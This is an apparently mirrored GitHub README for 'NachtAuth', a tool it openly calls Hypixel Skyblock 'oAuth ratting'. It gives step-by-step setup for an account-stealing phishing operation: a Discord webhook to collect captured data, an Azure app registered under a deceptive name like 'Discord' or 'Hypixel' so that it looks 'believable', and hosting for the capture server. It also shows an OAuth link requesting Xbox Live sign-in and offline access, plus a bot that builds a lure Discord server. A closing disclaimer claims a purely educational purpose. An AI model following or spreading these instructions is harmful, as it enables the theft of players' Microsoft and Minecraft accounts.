Giter Club home page Giter Club logo

nachtauth's Introduction

NachtAuth

Hypixel Skyblock oAuth ratting made easy

Setup

VIDEO TUTORIAL: https://www.youtube.com/watch?v=airw52IU250

Config

First, you need to set a discord webhook in the "config.json" file Next, set a Hypixel api key in the config as well.

at this point, it should look something like this:

{
    "networth": {
        "apiKey": "9f96947b-82ce-4337-9667f-7d4fd7bbi35473"
    },
    "URLS": {
        "redirect_uri": "",
        "apiURL": ""
    },
    "webhook": {
        "webhookURL": "https://discord.com/api/webhooks/xxxxx"
    },
    "discord": {
        "bot_token": ""
    },
    "azure" : {
        "client_id": "",
        "client_secret": "",
        "redirect_uri": ""
    }
}

Installing Requirements

NodeJS

npm install axios
npm install skyhelper-networth
npm install body-parser
npm install express
npm install iplim

Python

pip install py-cord

Azure App Registration Part 1

Contrary to popular belief, this is actually very easy!

First, visit Microsoft Azure's website. You might have to create an account I forgot

Next, at the search top bar, search for "App registrations"

Then, click "New registration" in the top left corner

Next, type any name you want. To make it believable, you can choose something like "Discord" or "Hypixel"

Now, we'll come back to this later.

Hosting

If you want to host it on a vps, you can use DigitalOcean and get a free 200$ of credit for 2 months for only paying 5$

You can also use OnRender, it's free and just like heroku but with super slow upload times but it works perfectly fine

Once you have your OnRender link, go back to App Registration.

Azure App Registration Part 2

Now, set the redirect uri to your onrender link or your vps if it applies to you. Then set the platform to web.

Reopen config.json and set the client_id to the Application (client) ID on the Azure page.

Then, back on Azure, click "Add a certificate or secret" under Client credentials.

Click "New client secret", the name can be anything you want. It doesn't matter.

Then, click add and copy the Secret ID and set that to client_secret in the config.

Set the redirect uri you put to the azure as redirect_uri in config

(Optional): NachtAuth Dashboard

If you want to use the NachtAuth Dashboard, make a new OnRender application and upload the "api" folder to there.

Once you get the url for your new OnRender app, set it to the apiURL in config.json, also add it to like 44 (leave the /api) in page/script.js because i forgot to change it and am not going to

Server Setup

oAuth URL

Your URL should look like this:

https://login.live.com/oauth20_authorize.srf?client_id=your_client_id&response_type=code&redirect_uri=your_redirect_url&scope=XboxLive.signin+offline_access&state=OK

(Optional): Discord Server Setup Bot

Make a discord bot and set the token as bot token in config.json

Start the bot and do /setup <oauth link> and watch it set up the server for you!

That's all! Enjoy NachtAuth :)

Please note that this is made for the sole purpose of showing to the public how easy it is to do this. I am not responsible for any malicious use of my code and do not condone it either.

nachtauth's People

Contributors

breadcatv2 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.